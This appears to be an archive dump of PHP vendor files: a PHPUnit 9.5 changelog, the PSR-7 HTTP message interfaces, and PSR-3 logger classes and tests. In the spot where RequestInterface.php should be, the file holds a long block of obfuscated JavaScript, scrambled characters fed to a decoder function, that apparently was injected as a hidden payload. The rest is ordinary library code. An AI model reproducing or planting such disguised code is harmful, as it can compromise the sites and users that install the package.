2022-04-01 ### Fixed * [#4938](https://github.com/sebastianbergmann/phpunit/issues/4938): Test Double code generator does not handle `void` return type declaration on `__clone()` methods * [#4947](https://github.com/sebastianbergmann/phpunit/issues/4947): Test annotated with `@coversNothing` may lead to files missing from code coverage report ## [9.5.19] - 2022-03-15 ### Fixed * [#4929](https://github.com/sebastianbergmann/phpunit/issues/4929): Test Double code generator does not handle new expressions inside parameter default values * [#4932](https://github.com/sebastianbergmann/phpunit/issues/4932): Backport support for intersection types from PHPUnit 10 to PHPUnit 9.5 * [#4933](https://github.com/sebastianbergmann/phpunit/issues/4933): Backport support for `never` type from PHPUnit 10 to PHPUnit 9.5 ## [9.5.18] - 2022-03-08 ### Fixed * [#4877](https://github.com/sebastianbergmann/phpunit/issues/4877): No stack trace shown when an error occurs during bootstrap ## [9.5.17] - 2022-03-05 - #StandWithUkraine ## [9.5.16] - 2022-02-23 ### Changed * Reverted sync with API change in (now yanked) phpunit/php-code-coverage 9.2.12 ## [9.5.15] - 2022-02-23 [YANKED] ### Fixed * When the HTML code coverage report's configured low upper bound is larger than the high lower bound then the default values are used instead ## [9.5.14] - 2022-02-18 ### Changed * [#4874](https://github.com/sebastianbergmann/phpunit/pull/4874): `PHP_FLOAT_EPSILON` is now used instead of hardcoded `0.0000000001` in `PHPUnit\Framework\Constraint\IsIdentical` ## [9.5.13] - 2022-01-24 ### Fixed * [#4871](https://github.com/sebastianbergmann/phpunit/issues/4871): Class `SebastianBergmann\CodeCoverage\Filter` is not found during PHPT tests when PHPUnit is used from PHAR ## [9.5.12] - 2022-01-21 ### Fixed * [#4799](https://github.com/sebastianbergmann/phpunit/pull/4799): Memory leaks in `PHPUnit\Framework\TestSuite` class * [#4857](https://github.com/sebastianbergmann/phpunit/pull/4857): Result of `debug_backtrace()` is not used correctly ## [9.5.11] - 2021-12-25 ### Changed * [#4812](https://github.com/sebastianbergmann/phpunit/issues/4812): Do not enforce time limits when a debugging session through DBGp is active * [#4835](https://github.com/sebastianbergmann/phpunit/issues/4835): Support for `$GLOBALS['_composer_autoload_path']` introduced in Composer 2.2 ### Fixed * [#4840](https://github.com/sebastianbergmann/phpunit/pull/4840): TestDox prettifying for class names does not correctly handle diacritics * [#4846](https://github.com/sebastianbergmann/phpunit/pull/4846): Composer proxy script is not ignored ## [9.5.10] - 2021-09-25 ### Changed * PHPUnit no longer converts PHP deprecations to exceptions by default (configure `convertDeprecationsToExceptions="true"` to enable this) * The PHPUnit XML configuration file generator now configures `convertDeprecationsToExceptions="true"` ### Fixed * [#4772](https://github.com/sebastianbergmann/phpunit/pull/4772): TestDox HTML report not displayed correctly when browser has custom colour settings ## [9.5.9] - 2021-08-31 ### Fixed * [#4750](https://github.com/sebastianbergmann/phpunit/issues/4750): Automatic return value generation leads to invalid (and superfluous) test double code generation when a stubbed method returns `*|false` * [#4751](https://github.com/sebastianbergmann/phpunit/issues/4751): Configuration validation fails when using brackets in glob pattern ## [9.5.8] - 2021-07-31 ### Fixed * [#4740](https://github.com/sebastianbergmann/phpunit/issues/4740): `phpunit.phar` does not work with PHP 8.1 ## [9.5.7] - 2021-07-19 ### Fixed * [#4720](https://github.com/sebastianbergmann/phpunit/issues/4720): PHPUnit does not verify its own PHP extension requirements * [#4735](https://github.com/sebastianbergmann/phpunit/issues/4735): Automated return value generation does not work for stubbed methods that return `*|false` ## [9.5.6] - 2021-06-23 ### Changed * PHPUnit now errors out on startup when `PHP_VERSION` contains a value that is not compatible with `version_compare()`, for instance `X.Y.Z-(to be removed in future macOS)` ## [9.5.5] - 2021-06-05 ### Changed * The test result cache (the storage for which is implemented in `PHPUnit\Runner\DefaultTestResultCache`) no longer uses PHP's `serialize()` and `unserialize()` functions for persistence. It now uses a versioned JSON format instead that is independent of PHP implementation details (see [#3581](https://github.com/sebastianbergmann/phpunit/issues/3581) and [#4662](https://github.com/sebastianbergmann/phpunit/pull/4662) for examples why this is a problem). When PHPUnit tries to load the test result cache from a file that does not exist, or from a file that does not contain data in JSON format, or from a file that contains data in a JSON format version other than the one used by the currently running PHPUnit version, then this is considered to be a "cache miss". An empty `DefaultTestResultCache` object is created in this case. This should also prevent PHPUnit from crashing when trying to load a test result cache file created by a different version of PHPUnit (see [#4580](https://github.com/sebastianbergmann/phpunit/issues/4580) for example). ### Fixed * [#4632](https://github.com/sebastianbergmann/phpunit/issues/4632): TestDox result printer does not handle repeated test execution correctly * [#4678](https://github.com/sebastianbergmann/phpunit/pull/4678): Stubbed methods with `iterable` return types should return empty array by default * [#4692](https://github.com/sebastianbergmann/phpunit/issues/4692): Annotations in single-line doc-comments are not handled correctly * [#4694](https://github.com/sebastianbergmann/phpunit/issues/4694): `TestCase::getMockFromWsdl()` does not work with PHP 8.1-dev ## [9.5.4] - 2021-03-23 ### Fixed * [#4630](https://github.com/sebastianbergmann/phpunit/issues/4630): Empty test case class causes error in TestDox XML logger ## [9.5.3] - 2021-03-17 ### Fixed * [#4591](https://github.com/sebastianbergmann/phpunit/issues/4591): TeamCity logger logs warnings as test failures * [#4620](https://github.com/sebastianbergmann/phpunit/issues/4620): No useful output when an error occurs in the bootstrap script ## [9.5.2] - 2021-02-02 ### Fixed * [#4573](https://github.com/sebastianbergmann/phpunit/issues/4573): No stack trace printed when PHPUnit is used from PHAR * [#4590](https://github.com/sebastianbergmann/phpunit/issues/4590): `--coverage-text` CLI option is documented wrong ## [9.5.1] - 2021-01-17 ### Fixed * [#4572](https://github.com/sebastianbergmann/phpunit/issues/4572): Schema validation does not work with `%xx` sequences in path to `phpunit.xsd` ## [9.5.0] - 2020-12-04 ### Changed * [#4490](https://github.com/sebastianbergmann/phpunit/issues/4490): Emit Error instead of Warning when test case class cannot be instantiated * [#4491](https://github.com/sebastianbergmann/phpunit/issues/4491): Emit Error instead of Warning when data provider does not work correctly * [#4492](https://github.com/sebastianbergmann/phpunit/issues/4492): Emit Error instead of Warning when test double configuration is invalid * [#4493](https://github.com/sebastianbergmann/phpunit/issues/4493): Emit error when (configured) test directory does not exist ### Fixed * [#4535](https://github.com/sebastianbergmann/phpunit/issues/4535): `getMockFromWsdl()` does not handle methods that do not have parameters correctly [9.5.20]: https://github.com/sebastianbergmann/phpunit/compare/9.5.19...9.5.20 [9.5.19]: https://github.com/sebastianbergmann/phpunit/compare/9.5.18...9.5.19 [9.5.18]: https://github.com/sebastianbergmann/phpunit/compare/9.5.17...9.5.18 [9.5.17]: https://github.com/sebastianbergmann/phpunit/compare/9.5.16...9.5.17 [9.5.16]: https://github.com/sebastianbergmann/phpunit/compare/dc738383c519243b0a967f63943a848d3fd861aa...9.5.16 [9.5.15]: https://github.com/sebastianbergmann/phpunit/compare/9.5.14...dc738383c519243b0a967f63943a848d3fd861aa [9.5.14]: https://github.com/sebastianbergmann/phpunit/compare/9.5.13...9.5.14 [9.5.13]: https://github.com/sebastianbergmann/phpunit/compare/9.5.12...9.5.13 [9.5.12]: https://github.com/sebastianbergmann/phpunit/compare/9.5.11...9.5.12 [9.5.11]: https://github.com/sebastianbergmann/phpunit/compare/9.5.10...9.5.11 [9.5.10]: https://github.com/sebastianbergmann/phpunit/compare/9.5.9...9.5.10 [9.5.9]: https://github.com/sebastianbergmann/phpunit/compare/9.5.8...9.5.9 [9.5.8]: https://github.com/sebastianbergmann/phpunit/compare/9.5.7...9.5.8 [9.5.7]: https://github.com/sebastianbergmann/phpunit/compare/9.5.6...9.5.7 [9.5.6]: https://github.com/sebastianbergmann/phpunit/compare/9.5.5...9.5.6 [9.5.5]: https://github.com/sebastianbergmann/phpunit/compare/9.5.4...9.5.5 [9.5.4]: https://github.com/sebastianbergmann/phpunit/compare/9.5.3...9.5.4 [9.5.3]: https://github.com/sebastianbergmann/phpunit/compare/9.5.2...9.5.3 [9.5.2]: https://github.com/sebastianbergmann/phpunit/compare/9.5.1...9.5.2 [9.5.1]: https://github.com/sebastianbergmann/phpunit/compare/9.5.0...9.5.1 [9.5.0]: https://github.com/sebastianbergmann/phpunit/compare/9.4.4...9.5.0 res/readability/vendor/phpunit/phpunit/phpunit.xsd000064400000043013147577714370016537 0ustar00 This Schema file defines the rules by which the XML configuration file of PHPUnit 9.5 may be structured. Root Element The main type specifying the document structure res/readability/vendor/psr/http-message/src/StreamInterface.php000064400000011212147577714370020727 0ustar00 * [user-info@]host[:port] * * * If the port component is not set or is the standard port for the current * scheme, it SHOULD NOT be included. * * @see https://tools.ietf.org/html/rfc3986#section-3.2 * @return string The URI authority, in "[user-info@]host[:port]" format. */ public function getAuthority(); /** * Retrieve the user information component of the URI. * * If no user information is present, this method MUST return an empty * string. * * If a user is present in the URI, this will return that value; * additionally, if the password is also present, it will be appended to the * user value, with a colon (":") separating the values. * * The trailing "@" character is not part of the user information and MUST * NOT be added. * * @return string The URI user information, in "username[:password]" format. */ public function getUserInfo(); /** * Retrieve the host component of the URI. * * If no host is present, this method MUST return an empty string. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.2.2. * * @see http://tools.ietf.org/html/rfc3986#section-3.2.2 * @return string The URI host. */ public function getHost(); /** * Retrieve the port component of the URI. * * If a port is present, and it is non-standard for the current scheme, * this method MUST return it as an integer. If the port is the standard port * used with the current scheme, this method SHOULD return null. * * If no port is present, and no scheme is present, this method MUST return * a null value. * * If no port is present, but a scheme is present, this method MAY return * the standard port for that scheme, but SHOULD return null. * * @return null|int The URI port. */ public function getPort(); /** * Retrieve the path component of the URI. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * Normally, the empty path "" and absolute path "/" are considered equal as * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically * do this normalization because in contexts with a trimmed base path, e.g. * the front controller, this difference becomes significant. It's the task * of the user to handle both "" and "/". * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.3. * * As an example, if the value should include a slash ("/") not intended as * delimiter between path segments, that value MUST be passed in encoded * form (e.g., "%2F") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.3 * @return string The URI path. */ public function getPath(); /** * Retrieve the query string of the URI. * * If no query string is present, this method MUST return an empty string. * * The leading "?" character is not part of the query and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.4. * * As an example, if a value in a key/value pair of the query string should * include an ampersand ("&") not intended as a delimiter between values, * that value MUST be passed in encoded form (e.g., "%26") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.4 * @return string The URI query string. */ public function getQuery(); /** * Retrieve the fragment component of the URI. * * If no fragment is present, this method MUST return an empty string. * * The leading "#" character is not part of the fragment and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.5. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.5 * @return string The URI fragment. */ public function getFragment(); /** * Return an instance with the specified scheme. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified scheme. * * Implementations MUST support the schemes "http" and "https" case * insensitively, and MAY accommodate other schemes if required. * * An empty scheme is equivalent to removing the scheme. * * @param string $scheme The scheme to use with the new instance. * @return static A new instance with the specified scheme. * @throws \InvalidArgumentException for invalid or unsupported schemes. */ public function withScheme($scheme); /** * Return an instance with the specified user information. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user information. * * Password is optional, but the user information MUST include the * user; an empty string for the user is equivalent to removing user * information. * * @param string $user The user name to use for authority. * @param null|string $password The password associated with $user. * @return static A new instance with the specified user information. */ public function withUserInfo($user, $password = null); /** * Return an instance with the specified host. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified host. * * An empty host value is equivalent to removing the host. * * @param string $host The hostname to use with the new instance. * @return static A new instance with the specified host. * @throws \InvalidArgumentException for invalid hostnames. */ public function withHost($host); /** * Return an instance with the specified port. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified port. * * Implementations MUST raise an exception for ports outside the * established TCP and UDP port ranges. * * A null value provided for the port is equivalent to removing the port * information. * * @param null|int $port The port to use with the new instance; a null value * removes the port information. * @return static A new instance with the specified port. * @throws \InvalidArgumentException for invalid ports. */ public function withPort($port); /** * Return an instance with the specified path. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified path. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * If the path is intended to be domain-relative rather than path relative then * it must begin with a slash ("/"). Paths not starting with a slash ("/") * are assumed to be relative to some base path known to the application or * consumer. * * Users can provide both encoded and decoded path characters. * Implementations ensure the correct encoding as outlined in getPath(). * * @param string $path The path to use with the new instance. * @return static A new instance with the specified path. * @throws \InvalidArgumentException for invalid paths. */ public function withPath($path); /** * Return an instance with the specified query string. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified query string. * * Users can provide both encoded and decoded query characters. * Implementations ensure the correct encoding as outlined in getQuery(). * * An empty query string value is equivalent to removing the query string. * * @param string $query The query string to use with the new instance. * @return static A new instance with the specified query string. * @throws \InvalidArgumentException for invalid query strings. */ public function withQuery($query); /** * Return an instance with the specified URI fragment. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified URI fragment. * * Users can provide both encoded and decoded fragment characters. * Implementations ensure the correct encoding as outlined in getFragment(). * * An empty fragment value is equivalent to removing the fragment. * * @param string $fragment The fragment to use with the new instance. * @return static A new instance with the specified fragment. */ public function withFragment($fragment); /** * Return the string representation as a URI reference. * * Depending on which components of the URI are present, the resulting * string is either a full URI or relative reference according to RFC 3986, * Section 4.1. The method concatenates the various components of the URI, * using the appropriate delimiters: * * - If a scheme is present, it MUST be suffixed by ":". * - If an authority is present, it MUST be prefixed by "//". * - The path can be concatenated without delimiters. But there are two * cases where the path has to be adjusted to make the URI reference * valid as PHP does not allow to throw an exception in __toString(): * - If the path is rootless and an authority is present, the path MUST * be prefixed by "/". * - If the path is starting with more than one "/" and no authority is * present, the starting slashes MUST be reduced to one. * - If a query is present, it MUST be prefixed by "?". * - If a fragment is present, it MUST be prefixed by "#". * * @see http://tools.ietf.org/html/rfc3986#section-4.1 * @return string */ public function __toString(); } res/readability/vendor/psr/http-message/src/UploadedFileInterface.php000064400000011121147577714370022030 0ustar00getQuery()` * or from the `QUERY_STRING` server param. * * @return array */ public function getQueryParams(); /** * Return an instance with the specified query string arguments. * * These values SHOULD remain immutable over the course of the incoming * request. They MAY be injected during instantiation, such as from PHP's * $_GET superglobal, or MAY be derived from some other value such as the * URI. In cases where the arguments are parsed from the URI, the data * MUST be compatible with what PHP's parse_str() would return for * purposes of how duplicate query parameters are handled, and how nested * sets are handled. * * Setting query string arguments MUST NOT change the URI stored by the * request, nor the values in the server params. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated query string arguments. * * @param array $query Array of query string arguments, typically from * $_GET. * @return static */ public function withQueryParams(array $query); /** * Retrieve normalized file upload data. * * This method returns upload metadata in a normalized tree, with each leaf * an instance of Psr\Http\Message\UploadedFileInterface. * * These values MAY be prepared from $_FILES or the message body during * instantiation, or MAY be injected via withUploadedFiles(). * * @return array An array tree of UploadedFileInterface instances; an empty * array MUST be returned if no data is present. */ public function getUploadedFiles(); /** * Create a new instance with the specified uploaded files. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param array $uploadedFiles An array tree of UploadedFileInterface instances. * @return static * @throws \InvalidArgumentException if an invalid structure is provided. */ public function withUploadedFiles(array $uploadedFiles); /** * Retrieve any parameters provided in the request body. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, this method MUST * return the contents of $_POST. * * Otherwise, this method may return any results of deserializing * the request body content; as parsing returns structured content, the * potential types MUST be arrays or objects only. A null value indicates * the absence of body content. * * @return null|array|object The deserialized body parameters, if any. * These will typically be an array or object. */ public function getParsedBody(); /** * Return an instance with the specified body parameters. * * These MAY be injected during instantiation. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, use this method * ONLY to inject the contents of $_POST. * * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of * deserializing the request body content. Deserialization/parsing returns * structured data, and, as such, this method ONLY accepts arrays or objects, * or a null value if nothing was available to parse. * * As an example, if content negotiation determines that the request data * is a JSON payload, this method could be used to create a request * instance with the deserialized parameters. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param null|array|object $data The deserialized body data. This will * typically be in an array or object. * @return static * @throws \InvalidArgumentException if an unsupported argument type is * provided. */ public function withParsedBody($data); /** * Retrieve attributes derived from the request. * * The request "attributes" may be used to allow injection of any * parameters derived from the request: e.g., the results of path * match operations; the results of decrypting cookies; the results of * deserializing non-form-encoded message bodies; etc. Attributes * will be application and request specific, and CAN be mutable. * * @return array Attributes derived from the request. */ public function getAttributes(); /** * Retrieve a single derived request attribute. * * Retrieves a single derived request attribute as described in * getAttributes(). If the attribute has not been previously set, returns * the default value as provided. * * This method obviates the need for a hasAttribute() method, as it allows * specifying a default value to return if the attribute is not found. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $default Default value to return if the attribute does not exist. * @return mixed */ public function getAttribute($name, $default = null); /** * Return an instance with the specified derived request attribute. * * This method allows setting a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated attribute. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $value The value of the attribute. * @return static */ public function withAttribute($name, $value); /** * Return an instance that removes the specified derived request attribute. * * This method allows removing a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the attribute. * * @see getAttributes() * @param string $name The attribute name. * @return static */ public function withoutAttribute($name); } res/readability/vendor/psr/http-message/src/MessageInterface.php000064400000015376147577714370021077 0ustar00getHeaders() as $name => $values) { * echo $name . ": " . implode(", ", $values); * } * * // Emit headers iteratively: * foreach ($message->getHeaders() as $name => $values) { * foreach ($values as $value) { * header(sprintf('%s: %s', $name, $value), false); * } * } * * While header names are not case-sensitive, getHeaders() will preserve the * exact case in which headers were originally specified. * * @return string[][] Returns an associative array of the message's headers. Each * key MUST be a header name, and each value MUST be an array of strings * for that header. */ public function getHeaders(); /** * Checks if a header exists by the given case-insensitive name. * * @param string $name Case-insensitive header field name. * @return bool Returns true if any header names match the given header * name using a case-insensitive string comparison. Returns false if * no matching header name is found in the message. */ public function hasHeader($name); /** * Retrieves a message header value by the given case-insensitive name. * * This method returns an array of all the header values of the given * case-insensitive header name. * * If the header does not appear in the message, this method MUST return an * empty array. * * @param string $name Case-insensitive header field name. * @return string[] An array of string values as provided for the given * header. If the header does not appear in the message, this method MUST * return an empty array. */ public function getHeader($name); /** * Retrieves a comma-separated string of the values for a single header. * * This method returns all of the header values of the given * case-insensitive header name as a string concatenated together using * a comma. * * NOTE: Not all header values may be appropriately represented using * comma concatenation. For such headers, use getHeader() instead * and supply your own delimiter when concatenating. * * If the header does not appear in the message, this method MUST return * an empty string. * * @param string $name Case-insensitive header field name. * @return string A string of values as provided for the given header * concatenated together using a comma. If the header does not appear in * the message, this method MUST return an empty string. */ public function getHeaderLine($name); /** * Return an instance with the provided value replacing the specified header. * * While header names are case-insensitive, the casing of the header will * be preserved by this function, and returned from getHeaders(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new and/or updated header and value. * * @param string $name Case-insensitive header field name. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withHeader($name, $value); /** * Return an instance with the specified header appended with the given value. * * Existing values for the specified header will be maintained. The new * value(s) will be appended to the existing list. If the header did not * exist previously, it will be added. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new header and/or value. * * @param string $name Case-insensitive header field name to add. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withAddedHeader($name, $value); /** * Return an instance without the specified header. * * Header resolution MUST be done without case-sensitivity. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the named header. * * @param string $name Case-insensitive header field name to remove. * @return static */ public function withoutHeader($name); /** * Gets the body of the message. * * @return StreamInterface Returns the body as a stream. */ public function getBody(); /** * Return an instance with the specified message body. * * The body MUST be a StreamInterface object. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return a new instance that has the * new body stream. * * @param StreamInterface $body Body. * @return static * @throws \InvalidArgumentException When the body is not valid. */ public function withBody(StreamInterface $body); } res/readability/vendor/psr/http-message/src/RequestInterface.php000064400000011316147577714370021131 0ustar00)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+()tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "psr/http-message", "description": "Common interface for HTTP messages", "keywords": ["psr", "psr-7", "http", "http-message", "request", "response"], "homepage": "https://github.com/php-fig/http-message", "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "require": { "php": ">=5.3.0" }, "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } } } res/readability/vendor/psr/http-message/CHANGELOG.md000064400000002063147577714370016170 0ustar00# Changelog All notable changes to this project will be documented in this file, in reverse chronological order by release. ## 1.0.1 - 2016-08-06 ### Added - Nothing. ### Deprecated - Nothing. ### Removed - Nothing. ### Fixed - Updated all `@return self` annotation references in interfaces to use `@return static`, which more closelly follows the semantics of the specification. - Updated the `MessageInterface::getHeaders()` return annotation to use the value `string[][]`, indicating the format is a nested array of strings. - Updated the `@link` annotation for `RequestInterface::withRequestTarget()` to point to the correct section of RFC 7230. - Updated the `ServerRequestInterface::withUploadedFiles()` parameter annotation to add the parameter name (`$uploadedFiles`). - Updated a `@throws` annotation for the `UploadedFileInterface::moveTo()` method to correctly reference the method parameter (it was referencing an incorrect parameter name previously). ## 1.0.0 - 2016-05-18 Initial stable release; reflects accepted PSR-7 specification. res/readability/vendor/psr/log/Psr/Log/Test/LoggerInterfaceTest.php000064400000011051147577714370021351 0ustar00 ". * * Example ->error('Foo') would yield "error Foo". * * @return string[] */ abstract public function getLogs(); public function testImplements() { $this->assertInstanceOf('Psr\Log\LoggerInterface', $this->getLogger()); } /** * @dataProvider provideLevelsAndMessages */ public function testLogsAtAllLevels($level, $message) { $logger = $this->getLogger(); $logger->{$level}($message, array('user' => 'Bob')); $logger->log($level, $message, array('user' => 'Bob')); $expected = array( $level.' message of level '.$level.' with context: Bob', $level.' message of level '.$level.' with context: Bob', ); $this->assertEquals($expected, $this->getLogs()); } public function provideLevelsAndMessages() { return array( LogLevel::EMERGENCY => array(LogLevel::EMERGENCY, 'message of level emergency with context: {user}'), LogLevel::ALERT => array(LogLevel::ALERT, 'message of level alert with context: {user}'), LogLevel::CRITICAL => array(LogLevel::CRITICAL, 'message of level critical with context: {user}'), LogLevel::ERROR => array(LogLevel::ERROR, 'message of level error with context: {user}'), LogLevel::WARNING => array(LogLevel::WARNING, 'message of level warning with context: {user}'), LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of level notice with context: {user}'), LogLevel::INFO => array(LogLevel::INFO, 'message of level info with context: {user}'), LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of level debug with context: {user}'), ); } /** * @expectedException \Psr\Log\InvalidArgumentException */ public function testThrowsOnInvalidLevel() { $logger = $this->getLogger(); $logger->log('invalid level', 'Foo'); } public function testContextReplacement() { $logger = $this->getLogger(); $logger->info('{Message {nothing} {user} {foo.bar} a}', array('user' => 'Bob', 'foo.bar' => 'Bar')); $expected = array('info {Message {nothing} Bob Bar a}'); $this->assertEquals($expected, $this->getLogs()); } public function testObjectCastToString() { if (method_exists($this, 'createPartialMock')) { $dummy = $this->createPartialMock('Psr\Log\Test\DummyTest', array('__toString')); } else { $dummy = $this->getMock('Psr\Log\Test\DummyTest', array('__toString')); } $dummy->expects($this->once()) ->method('__toString') ->will($this->returnValue('DUMMY')); $this->getLogger()->warning($dummy); $expected = array('warning DUMMY'); $this->assertEquals($expected, $this->getLogs()); } public function testContextCanContainAnything() { $closed = fopen('php://memory', 'r'); fclose($closed); $context = array( 'bool' => true, 'null' => null, 'string' => 'Foo', 'int' => 0, 'float' => 0.5, 'nested' => array('with object' => new DummyTest), 'object' => new \DateTime, 'resource' => fopen('php://memory', 'r'), 'closed' => $closed, ); $this->getLogger()->warning('Crazy context data', $context); $expected = array('warning Crazy context data'); $this->assertEquals($expected, $this->getLogs()); } public function testContextExceptionKeyCanBeExceptionOrOtherValues() { $logger = $this->getLogger(); $logger->warning('Random message', array('exception' => 'oops')); $logger->critical('Uncaught Exception!', array('exception' => new \LogicException('Fail'))); $expected = array( 'warning Random message', 'critical Uncaught Exception!' ); $this->assertEquals($expected, $this->getLogs()); } } res/readability/vendor/psr/log/Psr/Log/Test/DummyTest.php000064400000000373147577714370017411 0ustar00 $level, 'message' => $message, 'context' => $context, ]; $this->recordsByLevel[$record['level']][] = $record; $this->records[] = $record; } public function hasRecords($level) { return isset($this->recordsByLevel[$level]); } public function hasRecord($record, $level) { if (is_string($record)) { $record = ['message' => $record]; } return $this->hasRecordThatPasses(function ($rec) use ($record) { if ($rec['message'] !== $record['message']) { return false; } if (isset($record['context']) && $rec['context'] !== $record['context']) { return false; } return true; }, $level); } public function hasRecordThatContains($message, $level) { return $this->hasRecordThatPasses(function ($rec) use ($message) { return strpos($rec['message'], $message) !== false; }, $level); } public function hasRecordThatMatches($regex, $level) { return $this->hasRecordThatPasses(function ($rec) use ($regex) { return preg_match($regex, $rec['message']) > 0; }, $level); } public function hasRecordThatPasses(callable $predicate, $level) { if (!isset($this->recordsByLevel[$level])) { return false; } foreach ($this->recordsByLevel[$level] as $i => $rec) { if (call_user_func($predicate, $rec, $i)) { return true; } } return false; } public function __call($method, $args) { if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = strtolower($matches[2]); if (method_exists($this, $genericMethod)) { $args[] = $level; return call_user_func_array([$this, $genericMethod], $args); } } throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); } public function reset() { $this->records = []; $this->recordsByLevel = []; } } res/readability/vendor/psr/log/Psr/Log/LoggerAwareTrait.php000064400000000622147577714370017737 0ustar00logger = $logger; } } res/readability/vendor/psr/log/Psr/Log/AbstractLogger.php000064400000006040147577714370017437 0ustar00log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param mixed[] $context * * @return void */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param mixed[] $context * * @return void */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param mixed[] $context * * @return void */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences 